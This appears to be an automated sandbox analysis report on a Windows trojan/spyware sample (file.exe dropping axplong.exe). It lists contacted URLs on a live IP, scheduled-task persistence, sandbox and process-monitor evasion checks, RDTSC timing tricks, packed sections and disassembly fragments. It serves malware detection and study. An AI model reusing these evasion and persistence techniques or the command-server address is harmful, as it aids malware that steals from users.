Source: axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpf
Source: axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpg
Source: axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedh
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpq
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpw
Source: axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00F84CF0	6_2_00F84CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FC3068	6_2_00FC3068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00F8E440	6_2_00F8E440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FB7D83	6_2_00FB7D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00F84AF0	6_2_00F84AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FC765B	6_2_00FC765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FC2BD0	6_2_00FC2BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FC777B	6_2_00FC777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FC8720	6_2_00FC8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FC6F09	6_2_00FC6F09

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.997264560626703
Source: file.exe	Static PE information: Section: ttawmtnf ZLIB complexity 0.9947279324870387
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.997264560626703
Source: axplong.exe.0.dr	Static PE information: Section: ttawmtnf ZLIB complexity 0.9947279324870387

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@0/1

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1882624 > 1048576

Source: file.exe

Static PE information: Raw size of ttawmtnf is bigger than: 0x100000 < 0x199e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ttawmtnf:EW;ozsesycy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ttawmtnf:EW;ozsesycy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 1.2.axplong.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ttawmtnf:EW;ozsesycy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ttawmtnf:EW;ozsesycy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ttawmtnf:EW;ozsesycy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ttawmtnf:EW;ozsesycy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 6.2.axplong.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ttawmtnf:EW;ozsesycy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ttawmtnf:EW;ozsesycy:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1d8b66 should be: 0x1ccd5c
Source: file.exe	Static PE information: real checksum: 0x1d8b66 should be: 0x1ccd5c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ttawmtnf
Source: file.exe	Static PE information: section name: ozsesycy
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: ttawmtnf
Source: axplong.exe.0.dr	Static PE information: section name: ozsesycy
Source: axplong.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00F9D84C push ecx; ret

6_2_00F9D85F

Source: file.exe	Static PE information: section name: entropy: 7.981060987625007
Source: file.exe	Static PE information: section name: ttawmtnf entropy: 7.953226597042887
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.981060987625007
Source: axplong.exe.0.dr	Static PE information: section name: ttawmtnf entropy: 7.953226597042887

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F1D7 second address: F1F1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F1DB second address: F1F1E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F1E4 second address: F1F1EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F1EA second address: F1EAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D238Ch], edx 0x0000000d push dword ptr [ebp+122D170Dh] 0x00000013 sub dword ptr [ebp+122D21EDh], eax 0x00000019 call dword ptr [ebp+122D1FE7h] 0x0000001f pushad 0x00000020 pushad 0x00000021 mov edx, 51D09851h 0x00000026 jmp 00007F9D106F7665h 0x0000002b popad 0x0000002c xor eax, eax 0x0000002e jmp 00007F9D106F765Ch 0x00000033 jmp 00007F9D106F7662h 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c mov dword ptr [ebp+122D20ABh], edi 0x00000042 mov dword ptr [ebp+122D2AA8h], eax 0x00000048 jmp 00007F9D106F7660h 0x0000004d cld 0x0000004e mov esi, 0000003Ch 0x00000053 sub dword ptr [ebp+122D23C2h], edi 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d mov dword ptr [ebp+122D20ABh], edi 0x00000063 lodsw 0x00000065 stc 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a pushad 0x0000006b push edi 0x0000006c mov edi, dword ptr [ebp+122D29E8h] 0x00000072 pop ebx 0x00000073 stc 0x00000074 popad 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 jno 00007F9D106F765Ch 0x0000007f nop 0x00000080 jmp 00007F9D106F765Dh 0x00000085 push eax 0x00000086 push ebx 0x00000087 push eax 0x00000088 push edx 0x00000089 jmp 00007F9D106F7662h 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10906F6 second address: 1090716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9D1073AE76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090716 second address: 1090729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090729 second address: 109072E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109072E second address: 1090746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9D106F7656h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F9D106F7656h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090746 second address: 1090752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090B95 second address: 1090BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090BA0 second address: 1090BA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090FA0 second address: 1090FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090FA6 second address: 1090FAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090FAA second address: 1090FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093D15 second address: F1EAD7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9D1073AE6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 1C058D35h 0x00000011 mov dword ptr [ebp+122D21D7h], ebx 0x00000017 push dword ptr [ebp+122D170Dh] 0x0000001d mov di, ax 0x00000020 call dword ptr [ebp+122D1FE7h] 0x00000026 pushad 0x00000027 pushad 0x00000028 mov edx, 51D09851h 0x0000002d jmp 00007F9D1073AE75h 0x00000032 popad 0x00000033 xor eax, eax 0x00000035 jmp 00007F9D1073AE6Ch 0x0000003a jmp 00007F9D1073AE72h 0x0000003f mov edx, dword ptr [esp+28h] 0x00000043 mov dword ptr [ebp+122D20ABh], edi 0x00000049 mov dword ptr [ebp+122D2AA8h], eax 0x0000004f jmp 00007F9D1073AE70h 0x00000054 cld 0x00000055 mov esi, 0000003Ch 0x0000005a sub dword ptr [ebp+122D23C2h], edi 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 mov dword ptr [ebp+122D20ABh], edi 0x0000006a lodsw 0x0000006c stc 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 pushad 0x00000072 push edi 0x00000073 mov edi, dword ptr [ebp+122D29E8h] 0x00000079 pop ebx 0x0000007a stc 0x0000007b popad 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 jno 00007F9D1073AE6Ch 0x00000086 nop 0x00000087 jmp 00007F9D1073AE6Dh 0x0000008c push eax 0x0000008d push ebx 0x0000008e push eax 0x0000008f push edx 0x00000090 jmp 00007F9D1073AE72h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093F80 second address: 1093F8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F9D106F7656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094040 second address: 1094045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094045 second address: 109404B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109404B second address: 109405B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109405B second address: 10940F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F9D106F7665h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007F9D106F7668h 0x0000001a pop eax 0x0000001b sub edx, dword ptr [ebp+122D2447h] 0x00000021 mov si, 8480h 0x00000025 push 00000003h 0x00000027 jmp 00007F9D106F765Bh 0x0000002c push 00000000h 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F9D106F7658h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a xor dword ptr [ebp+122D23C2h], esi 0x00000050 push DC6B0E2Eh 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 jg 00007F9D106F7656h 0x0000005e jp 00007F9D106F7656h 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B38D4 second address: 10B38D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B18E2 second address: 10B18EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B22F5 second address: 10B230D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE74h 0x00000009 rdtsc
